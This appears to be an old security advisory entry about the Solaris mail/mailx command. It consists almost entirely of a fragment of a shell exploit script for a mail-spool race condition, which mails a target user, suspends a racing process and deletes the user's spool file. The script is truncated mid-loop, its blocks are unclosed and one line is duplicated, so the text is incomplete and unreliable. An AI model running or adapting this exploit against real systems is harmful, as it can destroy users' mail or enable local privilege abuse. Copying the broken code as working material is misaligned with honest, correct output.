COMMAND

    mailx

SYSTEMS AFFECTED

    Solaris ?

PROBLEM

# Send mail to the user
NEW_TARGET_LEN=$OLD_TARGET_LEN
while [ "x$NEW_TARGET_LEN" = "x$OLD_TARGET_LEN" ]; do
        echo "Sending mail to $TARGET"

        echo "localhost $USER" | /bin/mail $TARGET
echo "localhost $USER" | nice /bin/mail $TARGET


        sleep 10
        kill -STOP $RACE_PID
        rm -f $SPOOLDIR/$TARGET >/dev/null 2>&1
        if [ -f $SPOOLDIR/$TARGET ]; then
                echo "$PROG: Sorry, we lost the race - cant try again."
                kill -9 $RACE_PID

    Maybe USER="whoami" needed.